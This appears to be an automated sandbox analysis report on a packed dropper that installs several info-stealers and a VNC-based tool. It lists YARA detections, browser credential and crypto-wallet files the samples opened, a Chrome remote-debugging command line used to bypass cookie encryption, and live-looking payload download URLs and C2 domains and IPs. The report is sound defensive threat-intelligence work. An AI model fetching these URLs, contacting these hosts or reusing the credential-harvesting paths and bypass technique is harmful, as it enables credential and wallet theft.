Source: Yara match	File source: 0000002F.00000002.2628746335.0000000000D21000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1467265069.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1384059485.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.2549630629.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1423188954.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1463848187.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1424431616.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1426197398.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected BrowserPasswordDump

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Yara detected DanaBot stealer dll

Source: Yara match	File source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oldVNC.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: fe4d890d0f.exe PID: 7860, type: MEMORYSTR

Yara detected Poverty Stealer

Source: Yara match	File source: 15.2.HNsLLEj.exe.2ae9eb0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.HNsLLEj.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.HNsLLEj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.2ae9eb0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2533590954.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2330743352.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HNsLLEj.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HNsLLEj.exe PID: 7596, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 15.0.HNsLLEj.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.3ae9550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.3ae9550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe, type: DROPPED

Yara detected StormKitty Stealer

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2646654757.0000000003468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2646654757.00000000036A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bKIFsVe.exe PID: 7736, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: exodus
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oldVNC.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected BrowserPasswordDump

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Yara detected DanaBot stealer dll

Source: Yara match	File source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oldVNC.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: fe4d890d0f.exe PID: 7860, type: MEMORYSTR

Yara detected Poverty Stealer

Source: Yara match	File source: 15.2.HNsLLEj.exe.2ae9eb0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.HNsLLEj.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.HNsLLEj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.2ae9eb0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2533590954.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2330743352.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HNsLLEj.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HNsLLEj.exe PID: 7596, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 15.0.HNsLLEj.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.3ae9550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.HNsLLEj.exe.3ae9550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe, type: DROPPED

Yara detected StormKitty Stealer

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2646654757.0000000003468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2646654757.00000000036A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bKIFsVe.exe PID: 7736, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	141 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	285 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	21 Scheduled Task/Job	21 Scheduled Task/Job	312 Process Injection	15 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	11 Registry Run Keys / Startup Folder	21 Scheduled Task/Job	22 Software Packing	NTDS	991 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	1 Multi-hop Proxy	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	391 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	3 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	114 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	1 Proxy	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	391 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	312 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Mshta	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UWYXurYZ2x.exe	55%	Virustotal		Browse
UWYXurYZ2x.exe	63%	ReversingLabs	Win32.Packed.Themida
UWYXurYZ2x.exe	100%	Avira	TR/Crypt.TPM.Gen
UWYXurYZ2x.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	100%	Avira	HEUR/AGEN.1357486
C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	100%	Avira	HEUR/AGEN.1314794
C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	100%	Avira	HEUR/AGEN.1314794
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	100%	Avira	HEUR/AGEN.1357486
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1039131001\eb15c414be.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oavvDqT[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	55%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.CryoMarte
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe	58%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	58%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.CryoMarte
C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	55%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	63%	ReversingLabs	Win32.Exploit.StealC

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
wholersorie.shop	100%	URL Reputation	malware
noisycuttej.shop	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label
https://marka4.cyou/rome	100%	Avira URL Cloud	malware
https://marka4.cyou/	100%	Avira URL Cloud	malware
http://31.41.244.11/files/7343830477/oavvDqT.exeh7b	0%	Avira URL Cloud	safe
https://marka4.cyou6	0%	Avira URL Cloud	safe
http://31.41.244.11/files/GoodTimes306/random.exeData	0%	Avira URL Cloud	safe
http://31.41.244.11/files/GoodTimes306/random.exeYZ0123456789	0%	Avira URL Cloud	safe
https://marka4.cyou/pData	100%	Avira URL Cloud	malware
http://31.41.244.11/files/GoodTimes306/random.exe)/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/7967666176/13Z5sqy.exe	100%	Avira URL Cloud	phishing
https://misha-lomonosov.com/api	0%	Avira URL Cloud	safe
https://misha-lomonosov.com/api7	0%	Avira URL Cloud	safe
leggelatez.lat	0%	Avira URL Cloud	safe
kickykiduz.lat	0%	Avira URL Cloud	safe
https://marka4.cyouf	0%	Avira URL Cloud	safe
https://marka4.cyoub	0%	Avira URL Cloud	safe
https://marka4.cyou/iLz48dGV4dCB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB4PSI1M	100%	Avira URL Cloud	malware
https://misha-lomonosov.com/e	0%	Avira URL Cloud	safe
miniatureyu.lat	0%	Avira URL Cloud	safe
https://marka4.cyouR	0%	Avira URL Cloud	safe
http://31.41.244.11/files/5222311384/WZMQlGj.exe	100%	Avira URL Cloud	phishing
https://femalsabler.shop:443/api	100%	Avira URL Cloud	malware
https://marka4.cyouL	0%	Avira URL Cloud	safe
185.244.212.106:2227	0%	Avira URL Cloud	safe
finickypwk.lat	0%	Avira URL Cloud	safe
https://marka4.cyouJ	0%	Avira URL Cloud	safe
https://misha-lomonosov.com/T	0%	Avira URL Cloud	safe
shoefeatthe.lat	0%	Avira URL Cloud	safe
https://yachtingiturkey.com/oldVNC.exe396pek	0%	Avira URL Cloud	safe
http://31.41.244.11/files/7202997285/HNsLLEj.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/GoodTimes306/random.exe	100%	Avira URL Cloud	malware
https://yachtingiturkey.com/oldVNC.exelencoded	0%	Avira URL Cloud	safe
http://185.215.113.16/soka/random.exeY	0%	Avira URL Cloud	safe
https://marka4.cyou/0000	100%	Avira URL Cloud	malware
http://31.41.244.11/files/GoodTimes306/random.exeU.	0%	Avira URL Cloud	safe
washyceehsu.lat	0%	Avira URL Cloud	safe
https://handscreamny.shop:443/api	100%	Avira URL Cloud	malware
https://yachtingiturkey.com/	0%	Avira URL Cloud	safe
https://soundtappysk.shop:443/api	100%	Avira URL Cloud	malware
savorraiykj.lat	0%	Avira URL Cloud	safe
https://misha-lomonosov.com/	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpKw	100%	Avira URL Cloud	malware
http://185.215.113.16/test/am_no.bat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
marka4.cyou	116.203.166.124	true	true		unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
steamcommunity.com	104.102.49.254	true	false		high
plus.l.google.com	172.217.16.142	true	false		high
play.google.com	142.250.184.206	true	false		high
misha-lomonosov.com	104.21.14.233	true	true		unknown
t.me	149.154.167.99	true	false		high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
www.google.com	172.217.16.196	true	false		high
plodnittpw.lat	172.67.161.160	true	true		unknown
yachtingiturkey.com	162.0.209.157	true	false		unknown
pancakedipyps.click	unknown	unknown	false		high
robinsharez.shop	unknown	unknown	false		high
rabidcowse.shop	unknown	unknown	false		high
versersleep.shop	unknown	unknown	false		high
time.windows.com	unknown	unknown	false		high
wholersorie.shop	unknown	unknown	true	100%, URL Reputation	unknown
soundtappysk.shop	unknown	unknown	false		high
crowdwarek.shop	unknown	unknown	false		high
apporholis.shop	unknown	unknown	false		high
handscreamny.shop	unknown	unknown	false		high
cloudewahsj.shop	unknown	unknown	false		high
noisycuttej.shop	unknown	unknown	true	100%, URL Reputation	unknown
nearycrepso.shop	unknown	unknown	false		high
chipdonkeruz.shop	unknown	unknown	false		high
femalsabler.shop	unknown	unknown	false		high
framekgirus.shop	unknown	unknown	false		high
apis.google.com	unknown	unknown	false		high
tirepublicerj.shop	unknown	unknown	false		high
abruptyopsn.shop	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://marka4.cyou/	true	Avira URL Cloud: malware	unknown
https://misha-lomonosov.com/api	true	Avira URL Cloud: safe	unknown
leggelatez.lat	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900	false		high
kickykiduz.lat	true	Avira URL Cloud: safe	unknown
miniatureyu.lat	true	Avira URL Cloud: safe	unknown
finickypwk.lat	true	Avira URL Cloud: safe	unknown
185.244.212.106:2227	true	Avira URL Cloud: safe	unknown
shoefeatthe.lat	true	Avira URL Cloud: safe	unknown
washyceehsu.lat	true	Avira URL Cloud: safe	unknown
savorraiykj.lat	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/ac/?q=	HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marka4.cyou/rome	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/GoodTimes306/random.exeData	skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marka4.cyou6	bKIFsVe.exe, 00000016.00000002.2647181801.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	false		high
